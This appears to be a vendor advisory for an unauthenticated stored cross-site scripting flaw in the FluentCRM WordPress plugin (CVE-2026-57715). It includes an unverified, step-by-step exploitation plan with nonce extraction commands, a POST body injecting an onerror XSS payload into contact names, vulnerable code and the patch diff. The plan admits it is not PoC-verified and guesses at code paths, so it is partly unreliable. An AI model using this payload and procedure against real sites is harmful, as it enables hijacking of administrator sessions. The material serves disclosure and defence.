CVE-2026-57715

FluentCRM – Email Newsletter, Automation, Email Marketing, Email Campaigns, Optins, Leads, and CRM Solution <= 3.1.7 - Unauthenticated Stored Cross-Site Scripting

highImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
7.2
CVSS Score
7.2
CVSS Score
high
Severity
3.1.8
Patched in
6d
Time to patch

Description

The FluentCRM – Email Newsletter, Automation, Email Marketing, Email Campaigns, Optins, Leads, and CRM Solution plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.1.7 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.1.7
PublishedJuly 9, 2026
Last updatedJuly 14, 2026
Affected pluginfluent-crm

What Changed in the Fix

Changes introduced in v3.1.8

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

## Vulnerability Summary The FluentCRM plugin (versions <= 3.1.7) is vulnerable to **Unauthenticated Stored Cross-Site Scripting (XSS)**. This occurs because the plugin fails to properly sanitize and escape user-supplied data—specifically contact names and abandoned cart details—before storing them …

Show full research plan

Vulnerability Summary

The FluentCRM plugin (versions <= 3.1.7) is vulnerable to Unauthenticated Stored Cross-Site Scripting (XSS). This occurs because the plugin fails to properly sanitize and escape user-supplied data—specifically contact names and abandoned cart details—before storing them in the database and subsequently rendering them in the WordPress administrative dashboard.

The vulnerability is particularly critical because it can be triggered by unauthenticated users (e.g., via subscription forms or abandoned cart tracking), and the payload executes in the context of an authenticated administrator, potentially leading to full site takeover through malicious script execution (e.g., creating a new admin user).

Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php
  • Action: fluentcrm_contacts_subscribe (standard subscription) or FluentCart tracking endpoints.
  • Vulnerable Parameters: first_name, last_name, or full_name (in abandoned cart context).
  • Authentication: None required (Unauthenticated).
  • Preconditions:
    1. The FluentCRM plugin must be active.
    2. To obtain a valid nonce for the subscription endpoint, a page containing a FluentCRM form (or the default tracking script) must be accessible.

Code Flow

  1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with the action fluentcrm_contacts_subscribe.
  2. Processing: The request is handled (likely in app/Hooks/Handlers/ExternalEntry.php or app/Http/Controllers/ContactController.php). The first_name and last_name parameters are captured.
  3. Storage: The input is stored in the fc_subscribers database table. While basic sanitization might occur, it is insufficient to prevent XSS payloads like <img src=x onerror=alert(1)>.
  4. Admin View: An administrator navigates to FluentCRM > Contacts.
  5. Sink: The Contacts listing or the Contact Profile page retrieves the name from the database. In app/Hooks/Handlers/PurchaseHistory.php or the main Contacts Vue/React dashboard, the name is rendered. If the rendering logic uses v-html (Vue) or fails to use esc_html() (PHP), the payload executes.
  6. Example Sink in PurchaseHistory.php:
    // Line 54
    $html .= '<li><span class="fc_list_sub">' . $stat['title'] . '</span> <span class="fc_list_value">' . $stat['value'] . '</span></li>';
    
    If $stat['value'] contains a contact's name or custom field injected by the attacker, it is concatenated directly into $html without escaping.

Nonce Acquisition Strategy

FluentCRM typically enqueues a frontend script for form handling and tracking. The nonce is localized in a JavaScript object.

  1. Find a Form: Use WP-CLI to find an existing FluentCRM form or create a temporary page with a form shortcode.
    • Command: wp post create --post_type=page --post_status=publish --post_content='[fluentcrm_form id="1"]' --post_title='Subscription Page'
  2. Navigate: Use browser_navigate to visit the newly created page.
  3. Extract Nonce: The plugin localizes data into the fluentcrm_front_vars object.
    • JS Variable: window.fluentcrm_front_vars
    • Nonce Key: nonce
    • Command: browser_eval("window.fluentcrm_front_vars?.nonce")

Exploitation Strategy

Step 1: Data Setup

Create a page with a FluentCRM form to ensure the frontend variables are loaded.

wp post create --post_type=page --post_title="Sign Up" --post_status=publish --post_content='[fluentcrm_form id="1"]'

Step 2: Nonce Extraction

  1. Navigate to the page /sign-up/.
  2. Execute browser_eval("window.fluentcrm_front_vars.nonce") to get the nonce for the fluentcrm_contacts_subscribe action.

Step 3: Payload Injection (Unauthenticated)

Send a POST request to admin-ajax.php to create a new contact with an XSS payload.

  • URL: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Body:
    action=fluentcrm_contacts_subscribe&
    first_name=<img src=x onerror=alert("XSS_IN_NAME")>&
    last_name=Attacker&
    email=evil@example.com&
    _wpnonce=[EXTRACTED_NONCE]
    

Step 4: Admin Trigger

Navigate to the FluentCRM Contacts page as an administrator.

  1. Log in as admin.
  2. Navigate to http://localhost:8080/wp-admin/admin.php?page=fluentcrm-admin#/contacts.
  3. Observe the alert box triggered by the injected first_name.

Test Data Setup

  1. Plugin Configuration: Ensure FluentCRM is installed and at least one List exists (required for some subscription forms).
    • wp eval "FluentCrm\App\Models\Lists::create(['title' => 'Default List', 'slug' => 'default-list']);"
  2. User: No special user required (attacker is unauthenticated).

Expected Results

  • The http_request should return a JSON success message (e.g., {"status": "success", ...}).
  • When the admin views the contact list, the browser should execute the JavaScript in the onerror handler of the image tag.

Verification Steps

Check the database to confirm the payload is stored unescaped:

wp db query "SELECT first_name FROM $(wp db prefix)fc_subscribers WHERE email='evil@example.com'"

The output should contain the raw <img ...> tag.

Alternative Approaches

If the fluentcrm_contacts_subscribe action is not available or requires different parameters, try the Abandoned Cart vector:

  1. Locate the tracking endpoint (often used via the FluentCart driver).
  2. Identify the fc_ab_fct_cart_nonce from the frontend script localized via fc_ab_fct_cart.
  3. Send a tracking fragment with a malicious full_name.
  4. Navigate to FluentCRM > Sales > Abandoned Carts in the admin panel to trigger the XSS.
Research Findings
Static analysis — not yet PoC-verified

Summary

FluentCRM versions up to 3.1.7 are vulnerable to unauthenticated stored cross-site scripting due to improper sanitization of contact data and abandoned cart fragments. Attackers can inject malicious scripts via subscription forms or tracking endpoints which execute when an administrator views the contact list or commerce widgets in the dashboard.

Vulnerable Code

// app/Hooks/Handlers/PurchaseHistory.php:54
$html .= '<li><span class="fc_list_sub">' . $stat['title'] . '</span> <span class="fc_list_value">' . $stat['value'] . '</span></li>';

---

// app/Http/Controllers/CampaignController.php:43
$with = array_map('sanitize_key', $request->get('with', []));

---

// app/Modules/AbandonCart/Drivers/FluentCart/FluentCartTrackingInit.php:162
$fullName = $fctCart->full_name ?? trim($fctCart->first_name . ' ' . $fctCart->last_name);

Security Fix

--- /app/Hooks/Handlers/PurchaseHistory.php
+++ /app/Hooks/Handlers/PurchaseHistory.php
@@ -529,7 +529,7 @@
         if (!empty($data['purchased_products'])) {
             $body .= '<li><b>' . esc_html__("Purchased Products", "fluent-crm") . '</b><hr /><ul class="fc_list">';
             foreach ($data['purchased_products'] as $product) {
-                $body .= '<li><a target="_blank" rel="nofollow" href="' . $product->guid . '">' . $product->post_title . '</a></li>';
+                $body .= '<li><a target="_blank" rel="nofollow" href="' . esc_url($product->guid) . '">' . esc_html($product->post_title) . '</a></li>';
             }
             $body .= '</ul></li>';
         }

--- /app/Http/Controllers/CampaignController.php
+++ /app/Http/Controllers/CampaignController.php
@@ -40,7 +40,7 @@
         $order = in_array($order, ['ASC', 'DESC'], true) ? $order : 'DESC';
 
         $orderBy = sanitize_key($request->get('sort_by', ''));
-        $with = array_map('sanitize_key', $request->get('with', []));
+        $with = array_values(array_map('sanitize_key', (array) $request->get('with', [])));
 
         $labels = $request->get('labels', []);
         $labels = is_array($labels) ? array_map('intval', $labels) : [];
@@ -248,7 +253,7 @@
             return $this->sendSuccess(['campaign' => $campaign, 'emails' => $emails]);
         }
 
-        $with = array_map('sanitize_key', $request->get('with', []));
+        $with = array_values(array_map('sanitize_key', (array) $request->get('with', [])));
         if ($with) {
             $campaign = Campaign::with($with)->find($id);
         } else {

Exploit Outline

The exploit targets unauthenticated endpoints such as the 'fluentcrm_contacts_subscribe' AJAX action or FluentCart tracking fragments. 1. An attacker first acquires a valid nonce from a public-facing page containing a FluentCRM subscription form (found in the 'fluentcrm_front_vars' JavaScript object). 2. The attacker sends a POST request to admin-ajax.php with the action 'fluentcrm_contacts_subscribe', injecting an XSS payload (e.g., <img src=x onerror=alert(1)>) into the 'first_name', 'last_name', or 'full_name' parameters. 3. The payload is stored in the database without sufficient sanitization. 4. When an administrator logs in and views the 'Contacts' list or the 'Abandoned Cart' overview in the FluentCRM dashboard, the application renders the stored name using unescaped concatenation (or via vulnerable Vue/React components), triggering the execution of the malicious script in the administrator's browser context.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.